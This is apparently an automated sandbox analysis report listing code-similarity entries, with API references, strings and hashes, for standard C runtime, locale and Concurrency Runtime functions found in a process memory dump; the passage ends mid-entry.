Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 0b38a8dc2dbe69a22fa995597e5d94a8fb178c9fe2366b51ca9b798820c6e7e3
Instruction ID: a24961962a76804982903b09082ff69af18f7ee468a8010e86080aa63ffa0640
Opcode Fuzzy Hash: 0b38a8dc2dbe69a22fa995597e5d94a8fb178c9fe2366b51ca9b798820c6e7e3
Instruction Fuzzy Hash: 0DF02B35A0059827CF25B7378A1696EB7AAAFD1720F04012AF40263352DF248E16C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00B08497, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B084AF

Part of subcall function 00B00B7F: HeapFree.KERNEL32(00000000,00000000,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?), ref: 00B00B95
Part of subcall function 00B00B7F: GetLastError.KERNEL32(?,?,00B0873B,?,00000000,?,?,?,00B089E0,?,00000007,?,?,00B08DE4,?,?), ref: 00B00BA7

_free.LIBCMT ref: 00B084C1
_free.LIBCMT ref: 00B084D3
_free.LIBCMT ref: 00B084E5
_free.LIBCMT ref: 00B084F7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 625502db1aae71cce501db2d622cfc84075a48f82d29340182fac8a72ff6cbe3
Instruction ID: a67ae3db7a45c5baa10240c8bd13db45ecd1b1c9d8a1790146aa415a03da108f
Opcode Fuzzy Hash: 625502db1aae71cce501db2d622cfc84075a48f82d29340182fac8a72ff6cbe3
Instruction Fuzzy Hash: B7F09C3650420167C520EB5DF482D1E7FE9FA013107544885F54DE76D1CF30FD408A64

Uniqueness

Uniqueness Score: -1.00%

Function 00AE79EB, Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 00AE79F5

Part of subcall function 00ADE862: __EH_prolog3.LIBCMT ref: 00ADE869

Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 00AE7A26
GetCurrentThread.KERNEL32 ref: 00AE7A2F
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 00AE7A42
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 00AE7A4B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedH_prolog3LevelManager::Thread
String ID:
API String ID: 1830408045-0
Opcode ID: 41e658e85c57db9a2e24e0cb30e72e1630f333abb27fcb326be3700fdd5f4ac6
Instruction ID: 206af384bc2e42e455bd2a2b54dfe45915af1b6da7303bf385f63f9405c3557a
Opcode Fuzzy Hash: 41e658e85c57db9a2e24e0cb30e72e1630f333abb27fcb326be3700fdd5f4ac6
Instruction Fuzzy Hash: 18F0A732200500DB8625FF52F611D7F7376AFC4750350055EE48B0B651CF24AA45D761

Uniqueness

Uniqueness Score: -1.00%

Function 00AFC8B4, Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 376COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 00AFCA3A
__freea.LIBCMT ref: 00AFCA58

Strings

a/p, xrefs: 00AFCB20
am/pm, xrefs: 00AFCABC

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __freea
String ID: a/p$am/pm
API String ID: 240046367-3206640213
Opcode ID: cfc69e27ebf2289da66ceb2ddf60bade87bb5e7f9a940c737f825f5859c48db9
Instruction ID: 9a6d85236eda8784fbbe5f0f61d899e10d4c939c7ed6bb7f7501e1ffdfa72b4f
Opcode Fuzzy Hash: cfc69e27ebf2289da66ceb2ddf60bade87bb5e7f9a940c737f825f5859c48db9
Instruction Fuzzy Hash: B0C1F47590021EDBCB24DFEACB95ABAB7B0FF05720F24414AFA0AAB251D3319D42C751

Uniqueness

Uniqueness Score: -1.00%

Function 00AA1B40, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00AA1B78

Part of subcall function 00AC7113: __EH_prolog3.LIBCMT ref: 00AC711A
Part of subcall function 00AC7113: std::_Lockit::_Lockit.LIBCPMT ref: 00AC7125
Part of subcall function 00AC7113: std::locale::_Setgloballocale.LIBCPMT ref: 00AC7140
Part of subcall function 00AC7113: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC7196

std::_Locinfo::_Locinfo.LIBCPMTD ref: 00AA1BAB

Part of subcall function 00AA1850: std::_Lockit::_Lockit.LIBCPMT ref: 00AA187D
Part of subcall function 00AA1850: _Yarn.LIBCPMTD ref: 00AA188F
Part of subcall function 00AA1850: _Yarn.LIBCPMTD ref: 00AA189E
Part of subcall function 00AA1850: _Yarn.LIBCPMTD ref: 00AA18AD
Part of subcall function 00AA1850: _Yarn.LIBCPMTD ref: 00AA18BC
Part of subcall function 00AA1850: _Yarn.LIBCPMTD ref: 00AA18CB
Part of subcall function 00AA1850: _Yarn.LIBCPMTD ref: 00AA18DA
Part of subcall function 00AA1850: std::bad_exception::bad_exception.LIBCMTD ref: 00AA18F1
Part of subcall function 00AA1850: __CxxThrowException@8.LIBVCRUNTIME ref: 00AA18FF

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00AA1C17

Strings

bad locale name, xrefs: 00AA1CBD

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Yarn$std::_$Lockit$LocinfoLockit::_std::locale::_$Exception@8H_prolog3InitLocinfo::_Locinfo::~_Lockit::~_SetgloballocaleThrowstd::bad_exception::bad_exception
String ID: bad locale name
API String ID: 3190264375-1405518554
Opcode ID: d5664c24a9d536b7361270cd53cb0810fe0ac390067d5966559b58829203ae82
Instruction ID: a3d11b72064b26f5ec606b6cede858534e892a00f9b1f86e44ae1364b0181dd9
Opcode Fuzzy Hash: d5664c24a9d536b7361270cd53cb0810fe0ac390067d5966559b58829203ae82
Instruction Fuzzy Hash: A5416A74E04248EFCB04DF98C981BAEBBB5FF49310F148159E816AB395CB74A945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4908, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD490F
std::locale::locale.LIBCPMT ref: 00AD492C

Part of subcall function 00AC935D: __EH_prolog3.LIBCMT ref: 00AC9364
Part of subcall function 00AC935D: std::_Lockit::_Lockit.LIBCPMT ref: 00AC936E
Part of subcall function 00AC935D: std::locale::_Getfacet.LIBCPMT ref: 00AC938E
Part of subcall function 00AC935D: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC93DF

Strings

%.0Lf, xrefs: 00AD4956
0123456789-, xrefs: 00AD495B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_$GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_std::locale::_std::locale::locale
String ID: %.0Lf$0123456789-
API String ID: 3229623240-3094241602
Opcode ID: 5729b5b54f5f94c223ec812ec350ba89ea2dbed27be40ee7b3259b75544da19d
Instruction ID: eb6661703c8c6f8041c37f7a9544bf12d38aa99611883d3e0342ef55515cbdd8
Opcode Fuzzy Hash: 5729b5b54f5f94c223ec812ec350ba89ea2dbed27be40ee7b3259b75544da19d
Instruction Fuzzy Hash: 6C41D032900219DFCF15EF95C990AEEBBB2FF48314F14405AE802AB355DB709E56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AD4BA8, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AD4BAF
std::locale::locale.LIBCPMT ref: 00AD4BCC

Part of subcall function 00AC9403: __EH_prolog3.LIBCMT ref: 00AC940A
Part of subcall function 00AC9403: std::_Lockit::_Lockit.LIBCPMT ref: 00AC9414
Part of subcall function 00AC9403: std::locale::_Getfacet.LIBCPMT ref: 00AC9434
Part of subcall function 00AC9403: std::_Lockit::~_Lockit.LIBCPMT ref: 00AC9485

Strings

0123456789-, xrefs: 00AD4BF6
0123456789-, xrefs: 00AD4BFB

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockitstd::_$GetfacetH_prolog3H_prolog3_Lockit::_Lockit::~_std::locale::_std::locale::locale
String ID: 0123456789-$0123456789-
API String ID: 3229623240-2494171821
Opcode ID: d6c72f705e5fd7e6e8f08a66387da6dacdd92646fabe69fe6529b829b5fb22d4
Instruction ID: c40fbc061f7d256ead9a51f5f87efef3534bca6d1a9e725c34bf48f4c12f1bb8
Opcode Fuzzy Hash: d6c72f705e5fd7e6e8f08a66387da6dacdd92646fabe69fe6529b829b5fb22d4
Instruction Fuzzy Hash: 1041E331A11119DFCF05DF94C984AEE7BB2FF48314F144059E802AB265DB70EE56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AB2370, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00AB23A9
std::ios_base::good.LIBCPMTD ref: 00AB23BC
std::ios_base::good.LIBCPMTD ref: 00AB23CF

Strings

<br>, xrefs: 00AB2450

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::ios_base::good
String ID: <br>
API String ID: 3100596842-209879444
Opcode ID: a3d9ea5cc59c51b6b91ba2acb69b02f38816805706b6aa5a064675c97d30af2b
Instruction ID: 9166b89f4b40f3e0e35e14b8af07bf0f29c64ea2c2628f3eb8e9c0e8ea40ebf1
Opcode Fuzzy Hash: a3d9ea5cc59c51b6b91ba2acb69b02f38816805706b6aa5a064675c97d30af2b
Instruction Fuzzy Hash: AB416F71D14118AFCB08DFA4E891BEEB7B9FF58304F10822AF5126B682EB345909CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00AB25B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00AB25E4
std::ios_base::good.LIBCPMTD ref: 00AB25F7
std::ios_base::good.LIBCPMTD ref: 00AB260A

Strings

<br>, xrefs: 00AB267E

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::ios_base::good
String ID: <br>
API String ID: 3100596842-209879444
Opcode ID: 4c39e2fa1455e4a8828f5fc31d54edb98ecfe1375616b7d701491ad08370dabe
Instruction ID: e5bf8eb3d5b14cba54954509eaf181089d9a2bc9a9ab9e3bdb8ef074d7f132c3
Opcode Fuzzy Hash: 4c39e2fa1455e4a8828f5fc31d54edb98ecfe1375616b7d701491ad08370dabe
Instruction Fuzzy Hash: AC318171D001089FCB18EFA8D861BEEB7B5FF88314F10812AF516BB282EB345905CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00AA30C0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 00AC25A6: ___crtCreateThreadpoolWork.LIBCPMT ref: 00AC25C2
Part of subcall function 00AC25A6: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 00AC25D1

Concurrency::wait.LIBCONCRTD ref: 00AA30F0

Part of subcall function 00AA31B0: std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AA31BA

std::bad_exception::bad_exception.LIBCMTD ref: 00AA3109
__CxxThrowException@8.LIBVCRUNTIME ref: 00AA3117

Strings

Fail to schedule the chore!, xrefs: 00AA3101

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::_Concurrency::waitCreateException@8Reschedule_choreThreadpoolThrowWork___crtstd::bad_exception::bad_exceptionstd::exception_ptr::~exception_ptr
String ID: Fail to schedule the chore!
API String ID: 3070376058-3313369819
Opcode ID: 25ee78bc706526f71ced59eda406772b468051dffb31b8cde34341d0603443f0
Instruction ID: 06f473e9a4033f3648753f347a4fa920142683095a582681b1c3e2f47878fdad
Opcode Fuzzy Hash: 25ee78bc706526f71ced59eda406772b468051dffb31b8cde34341d0603443f0
Instruction Fuzzy Hash: 30F01771D0020DEBCF04EFE4DD46BAEBBB4AB05300F1081A9A915A76D1DB75AB45DF84

Uniqueness

Uniqueness Score: -1.00%

Function 00AEEF45, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::DestroyVirtualProcessorRoot.LIBCONCRT ref: 00AEEF77
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AEEF89
__CxxThrowException@8.LIBVCRUNTIME ref: 00AEEF97

Strings

pScheduler, xrefs: 00AEEF81

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::DestroyException@8ProcessorProxy::RootSchedulerThrowVirtualstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 1381464787-923244539
Opcode ID: 0d84e33ef91904490090d6c7e6f7ea49fdc51a73bcf7c63314e36e873488e7ef
Instruction ID: 34e0c3eb7e04af9aa4cd65a2860da77b01ec8cfeb6cbaec3946cd757553f161e
Opcode Fuzzy Hash: 0d84e33ef91904490090d6c7e6f7ea49fdc51a73bcf7c63314e36e873488e7ef
Instruction Fuzzy Hash: F8F05530A01248AFCB28FFA4D842CEDB3F85E10300710866EB41367281CFB0AE06C3D4

Uniqueness

Uniqueness Score: -1.00%

Function 00AE9343, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00AE9365
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE9378
__CxxThrowException@8.LIBVCRUNTIME ref: 00AE9386

Strings

pContext, xrefs: 00AE9370

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1990795212-2046700901
Opcode ID: b36ebe107625af8d06181a412d26774a11c357e2ab052a15cd120c4103db646e
Instruction ID: 846f8cf83aa4157723cafd097365a84b90240e5a7a219535b0a622fbc7ad8fe5
Opcode Fuzzy Hash: b36ebe107625af8d06181a412d26774a11c357e2ab052a15cd120c4103db646e
Instruction Fuzzy Hash: 4CE0D136700108A7CF04BB75D849C9FB7F99ED17507158059B91293291DF74DD05C5D0

Uniqueness

Uniqueness Score: -1.00%

Function 00AE0F84, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AE0FB4
__CxxThrowException@8.LIBVCRUNTIME ref: 00AE0FC2

Strings

pScheduler, xrefs: 00AE0FAC
version, xrefs: 00AE0F99

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 1687795959-3154422776
Opcode ID: 3f76bf5acc712a7fd1c91c8ed47ffeccae384d00c2e62b5375d6a0ffb27f7771
Instruction ID: 430894118bdc1345b15cf3cb08ef4b5bca2abccc710c10c042eeb1d17d5dd14d
Opcode Fuzzy Hash: 3f76bf5acc712a7fd1c91c8ed47ffeccae384d00c2e62b5375d6a0ffb27f7771
Instruction Fuzzy Hash: 62E08630500248F6CF25FB55D94AFDC77F46B10748F94C0557951650A0D7F496D9CA41

Uniqueness

Uniqueness Score: -1.00%

Function 00B04140, Relevance: 6.3, APIs: 4, Instructions: 317COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B041C7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 5a5661edef52a9e08c69f85c59522bb15b05a0a8e55bc6914c63b04c644299a7
Instruction ID: d94ef56911c428fc5e694b58a5be42c059534e834d051304f24e60c7875d0441
Opcode Fuzzy Hash: 5a5661edef52a9e08c69f85c59522bb15b05a0a8e55bc6914c63b04c644299a7
Instruction Fuzzy Hash: 75B124B1A002569FDB21CF68C8817BEBFE5EF95300F1481EAEA55EB282D7349D41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00ACFCBC, Relevance: 6.2, APIs: 4, Instructions: 249COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ACFCC3
std::locale::locale.LIBCPMT ref: 00ACFD24
ctype.LIBCPMT ref: 00ACFD80
std::locale::locale.LIBCPMT ref: 00ACFD8B

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::locale::locale$H_prolog3_ctype
String ID:
API String ID: 1787673288-0
Opcode ID: da50555e70aafb3a0907554c66ad27b5c6dd313e4d3e81865456ecbf84e0471c
Instruction ID: 45417b844d3c89a693c07f781a3eddc9f49f9e161087d6ae38403da0d52f4dc7
Opcode Fuzzy Hash: da50555e70aafb3a0907554c66ad27b5c6dd313e4d3e81865456ecbf84e0471c
Instruction Fuzzy Hash: BAA15A71900249DFDF11DFA4C984EEEBBBAFF08314F15406AE815AB252D734AA55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ACFF60, Relevance: 6.2, APIs: 4, Instructions: 249COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ACFF67
std::locale::locale.LIBCPMT ref: 00ACFFC8
ctype.LIBCPMT ref: 00AD0024
std::locale::locale.LIBCPMT ref: 00AD002F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::locale::locale$H_prolog3_ctype
String ID:
API String ID: 1787673288-0
Opcode ID: e3fa6d05d87df45c09009e438fae9a9db61a9c1437017aae50d197397084f170
Instruction ID: ced802cc113fb1504186458c68c581edb27c2aa7a7b9027226b342337573280e
Opcode Fuzzy Hash: e3fa6d05d87df45c09009e438fae9a9db61a9c1437017aae50d197397084f170
Instruction Fuzzy Hash: ECA15871D00259AFDF10DFA4C984FEEBBB9FF09310F54416AE846A7251D730AA46CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC52FC, Relevance: 6.2, APIs: 4, Instructions: 244COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AC5303
std::locale::locale.LIBCPMT ref: 00AC5364
ctype.LIBCPMT ref: 00AC53BE
std::locale::locale.LIBCPMT ref: 00AC53C9

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::locale::locale$H_prolog3_ctype
String ID:
API String ID: 1787673288-0
Opcode ID: cf7a356849f80abacf079d73e70d212536d856ee3f4e76f208019ff5dfe9cbe6
Instruction ID: 6f421edb6063602815cca92fc87a715dd25cd8bba7c80299b3470f0835c2d1d6
Opcode Fuzzy Hash: cf7a356849f80abacf079d73e70d212536d856ee3f4e76f208019ff5dfe9cbe6
